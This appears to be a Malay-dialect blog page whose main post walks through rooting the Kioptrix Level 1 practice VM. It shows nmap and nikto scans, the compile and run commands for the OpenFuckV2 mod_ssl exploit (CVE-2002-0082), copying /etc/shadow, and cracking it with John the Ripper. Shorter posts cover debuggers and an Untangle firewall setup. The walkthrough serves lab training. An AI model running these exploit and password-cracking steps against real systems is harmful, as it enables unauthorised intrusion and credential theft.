Kioptrix Level 1

Posted by ghimau under
Salam semuo. Ari ni den buek post pasal Kioptrix. Kioptrix ni adolah image linux yang vulnerable. Dengan bahaso mudah eh, image yang dibina khusus untuk di 'hack'.

Korang boleh la cubo download image ni di : http://www.kioptrix.com/dlvm/Kioptrix_Level_1.rar

Tanpa membuang maso, kito mulokan aktiviti mengeroot Kioptrix ni. Hehehe. Ok..mulo-mulo kito runkan image ni melalui VMWare. Image ini akan dapat ip secara dhcp.

Ok, ni paparan Kioptrix. Memang maklumat username dan password tak diberikan. So macam mano nak masuk? hehehe.. hack la bai.. :P



Ok, kito upkan image backtrack pulak. Image ni bertindak sebagai attacker/hacker. Jadi kito akan mula mengehack server Kioptrix ni. Macam mano nak tahu ip si Kioptrix ni? Sonang yo.. kito gunakan nbtscan dan buek sweep scan ikut range ip kito. Kalau nengok gambar kek bawah ni kito dah dapek ip bagi server Kioptrix ni.

  1. nbtscan x.x.x.x-x  



Hehe.. dah dapek ip eh.. apo laie nak buek? Kito buek la port scan. Den gunokan nmap. Dan kito cubo analisa result yang kito dapek.
  1. nmap -sS -sV 10.x.x.52  

  1. # Nmap 5.51 scan initiated Mon Jul 11 02:37:27 2011 as: nmap -sS -sV -oN kioptrix.txt 10.x.x.52  
  2. Nmap scan report for 10.x.x.52  
  3. Host is up (0.033s latency).  
  4. Not shown: 994 closed ports  
  5. PORT     STATE SERVICE     VERSION  
  6. 22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)  
  7. 80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)  
  8. 111/tcp  open  rpcbind     2 (rpc #100000)  
  9. 139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)  
  10. 443/tcp  open  ssl/http    Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)  
  11. 1024/tcp open  status      1 (rpc #100024)  
  12. MAC Address: 00:0C:29:3C:91:B3 (VMware)  

Hmm.. ada apache running. Version lama lak tu 1.3.20. Kito cubo scan gunokan nikto. Dan kito analisa result eh.
  1. ./nikto.pl -host 10.x.x.52 -output kioptrix_80.txt  


  1. - Nikto v2.1.4/2.1.5  
  2. + Target Host: 10.x.x.52  
  3. + Target Port: 80  
  4. + GET /: ETag header found on server, inode: 34821, size: 2890, mtime: 0x3b96e9ae  
  5. - Nikto v2.1.4/2.1.5  
  6. + Target Host: 10.x.x.52  
  7. + Target Port: 80  
  8. + GET /: ETag header found on server, inode: 34821, size: 2890, mtime: 0x3b96e9ae  
  9. + OSVDB-27487: GET /: Apache is vulnerable to XSS via the Expect header  
  10. + HEAD /: Apache/1.3.20 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.  
  11. + HEAD /: mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)  
  12. + HEAD /: OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.0d). OpenSSL 0.9.8r is also current.  
  13. + GET /: Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE  
  14. + OSVDB-877: GET /: HTTP TRACE method is active, suggesting the host is vulnerable to XST  
  15. + OSVDB-838: GET /: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.  
  16. + OSVDB-4552: GET /: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.  
  17. + OSVDB-2733: GET /: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.  
  18. + GET /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756.  
  19. + OSVDB-682: GET /usage/: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02.  
  20. + OSVDB-3268: GET /manual/: /manual/: Directory indexing found.  
  21. + OSVDB-3092: GET /manual/: /manual/: Web server manual found.  
  22. + OSVDB-3268: GET /icons/: /icons/: Directory indexing found.  
  23. + OSVDB-3233: GET /icons/README: /icons/README: Apache default file found.  
  24. + OSVDB-3092: GET /test.php: /test.php: This might be interesting...  

Hmm.. poning gak nak baco kan? Hehehe.. kito guno niktorat untuk proses output file ni dan kito cubo analisa. Kito bulih donload niktorat ni kek sini : http://sourceforge.net/projects/niktorat/files/
  1. ./niktorat kioptrix_80.txt kioptrix_80  



Hmm.. kito hanyo tertarik pado vulnerabilty remote exploit. Kito cubo cari exploit yang berkaitan berdasarkan CVE Number (CVE-2002-0082)
+ GET /: mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756. Hmm.. kito akan gunokan OpenFuckV2.c untuk exploit kelemahan ni.

Ok.. bilo kito compile OpenFuckV2.c ni, kito akan dapek banyak error berkenaan dengan openssl rc4 dan md5. Kito tambah include file macam kek bawah ni dalam code dio.
  1. #include <openssl h="">  
  2. #include <openssl h="">  

Compilekan code OpenFuckV2.c dengan menggunokan command kek bawah ni. (Kalau ado error pasal xjumpo include file bagi ssl, pastikan install libssl-dev)
  1. gcc -o OpenFuckV2 OpenFuckV2.c -lcrypto  

Runkan exploit korang dengan command kek bawah ni :
  1. ./OpenFuckV2 0x6b 10.x.x.52 443  



Hehehe.. kito dapek r00t privillege.



Kito cubo crack password untuk server Kioptrix ni yo. Copy file /etc/passwd dan /etc/shadow dio.



Lopeh dah copy fail /etc/passwd dan /etc/shadow server Kioptrix ni. Kito cubo crack gunokan John The Ripper. Ikut command kek bawah ni. Tunggu lah sampai proses cracking solosai. Hehehe..
  1. ./unshadow /pentest/gh1mau/passwd.txt /pentest/gh1mau/shadow.txt > kioptrix.db  
  2. john kioptrix.db  
  3. john -show kioptrix.db  

Solosai.. Heheheh.. nanti ado maso den buek posting pasal Kioptrix Level 2 pulak yo. Happy Hacking dari pokcik ghimau :)
Tanpa membuang masa kita sambung balik yo.

Debuggers

Debugger adalah program yang digunakan untuk mencari ralat atau bugs dalam sesuatu program. Debugger membolehkan programmer menghentikan sementara sesuatu program pada mana-mana point dan memeriksa atau mengubah value bagi sebarang variables.

Disassemblers

Disassembler adalah satu program komputer yang mengubah bahaso mesin kepado assembly language. Disassembler merupakan satu tool yang sangat penting dalam proses reverse engineeering.

Sekian dulu.. timo kasih. Assalamualaikum.. Hehehe..

Untangle

Posted by ghimau under
Salam semuo.. lamo dah den tak update menatang blog ni. Bukan apo, macam biasolah kan.. sibuk menguruskan hal rumah tanggo. Hehehe.. suami mithali la katokan.. :)

Post kali den nak kongsi tentang untangle. Untangle ni merupokan satu software UTM yang bermaksud, ado firewall, web filter, ips, attack blocker dan macam-macam laie la function eh. Kalau korang nak tau lobih lanjut, leh lawat laman web untangle ni. www.untangle.com

OK.. skang ni den nak kongsi satu design network yang biaso di implement kek kebanyakan organisasi.



Kalau kito nengok diagram tu, kito akan nampak beberapo kelemahan atau loophole. Firewall utama, selepas ISP router tu bertindak sebagai First Layer defence, dio akan berfungsi untuk block attack dari luar. Skang ni cubo kito lihat satu senario, Internal user akan mengakases server dari attacker (Step 1). Selepas connection berjayo dibuek, attacker akan reply balik kepado internal user (Step 2). Ni perkaro biaso yang berlaku bilo kito akses sesuatu di internet. Internal user akan connect balik server attacker, sebab internal user sudah di infect menjadi zombie (Step3). Attacker akan memberi arahan tertentu melalui zombie eh (Internal user) untuk dapekkan maklumat atau exploit server-server internal. Ni bulih di lihat dalam Step 4 dan Step 5.

Untuk mengelakkan dan mengosan masalah ni, kito lotak untangle seperti gambar kek bawah.



Bilo kito setkan untangle dalam bridge mode, sekironya kito ado multiple vlan di belakang untangle kito kono setkan static route supayo untangle leh pass traffic.

Contoh eh macam ni, katokan belakang core switch kito ado beberapa vlan:
vlanA : 10.50.10.1
VlanB : 10.50.11.1

VlanC : 10.50.12.1

Kito setkan static route dalam untangle macam ni
target : 10.50.0.0
netmask : 255.255.0.0

gateway : ip_gateway


Nilah paparan untange in action. Hehehe. Selamat mencubo. :)